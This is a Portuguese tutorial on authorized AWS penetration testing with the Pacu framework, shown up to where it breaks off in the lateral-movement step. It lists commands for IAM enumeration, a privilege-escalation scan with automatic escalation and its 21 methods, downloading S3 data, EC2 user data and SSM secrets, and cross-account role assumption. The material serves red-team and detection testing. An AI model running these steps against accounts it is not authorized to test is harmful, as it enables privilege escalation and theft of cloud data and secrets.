Realizando Testes de Penetração na Nuvem com Pacu

Quando Usar

• Ao realizar testes de penetração autorizados em ambientes AWS
• Ao validar a eficácia de políticas IAM, SCPs e limites de permissão
• Ao avaliar o raio de impacto de um conjunto comprometido de credenciais AWS
• Ao testar as capacidades de detecção do GuardDuty, Security Hub e alertas personalizados
• Ao construir exercícios de equipe vermelha contra infraestrutura de nuvem AWS

Não use para testes não autorizados de qualquer conta AWS, para testar a infraestrutura AWS em si (coberta pela responsabilidade compartilhada), para ataques de DDoS ou volumétricos sem aprovação da AWS, ou para testes de contas de produção sem autorização explícita e procedimentos de "breakglass" (recuperação de emergência).

Pré-requisitos

• Autorização por escrito do proprietário da conta AWS com escopo e regras de engajamento definidos
• Pacu v1.5+ instalado (pip install pacu)
• Credenciais de teste AWS com permissões iniciais limitadas (simula cenário de credenciais comprometidas)
• Registro do CloudTrail ativado para capturar toda a atividade do Pacu para revisão pós-engajamento
• GuardDuty ativado para validar a detecção de atividades do Pacu
• Contato de emergência e procedimentos de rollback documentados

Fluxo de Trabalho

Passo 1: Inicializar Sessão Pacu e Configurar Credenciais

Configure uma sessão Pacu com as credenciais de teste e defina o escopo do engajamento.

# Install Pacu
pip install pacu

# Start Pacu
pacu

# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...
# Enter Secret Access Key: ...

# Verify identity
Pacu > whoami

# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3

Passo 2: Enumerar Configuração IAM

Execute módulos de enumeração IAM para mapear usuários, funções, políticas e associações de grupos.

# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups

# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions

# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report

# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles

# Check current session data
Pacu > data iam

Passo 3: Procurar Caminhos de Escalonamento de Privilégios

Use o scanner de escalonamento de privilégios do Pacu para identificar todos os vetores de escalonamento exploráveis.

# Run the privilege escalation scanner
Pacu > run iam__privesc_scan

# The scanner tests for 21+ escalation methods:
# Method 1:  iam:CreatePolicyVersion
# Method 2:  iam:SetDefaultPolicyVersion
# Method 3:  iam:PassRole + ec2:RunInstances
# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping
# Method 6:  iam:PassRole + glue:CreateDevEndpoint
# Method 7:  iam:PassRole + cloudformation:CreateStack
# Method 8:  iam:PassRole + datapipeline:CreatePipeline
# Method 9:  iam:CreateAccessKey
# Method 10: iam:CreateLoginProfile
# Method 11: iam:UpdateLoginProfile
# Method 12: iam:AttachUserPolicy
# Method 13: iam:AttachGroupPolicy
# Method 14: iam:AttachRolePolicy
# Method 15: iam:PutUserPolicy
# Method 16: iam:PutGroupPolicy
# Method 17: iam:PutRolePolicy
# Method 18: iam:AddUserToGroup
# Method 19: iam:UpdateAssumeRolePolicy
# Method 20: sts:AssumeRole
# Method 21: lambda:UpdateFunctionCode

# If escalation paths found, attempt exploitation
Pacu > run iam__privesc_scan --escalate

Passo 4: Enumerar e Testar Acesso a Dados

Descubra armazenamentos de dados acessíveis, incluindo S3, DynamoDB, RDS e Secrets Manager.

# Enumerate S3 buckets
Pacu > run s3__bucket_finder

# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names

# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata

# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum

# Enumerate Secrets Manager
Pacu > run secretsmanager__enum

# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters

# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth

Passo 5: Testar Movimentação Lateral e Persistência

Avalie o acesso entre contas, exploração de serviços e mecanismos de persistência.

# Testar assunção de função entre contas
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole


…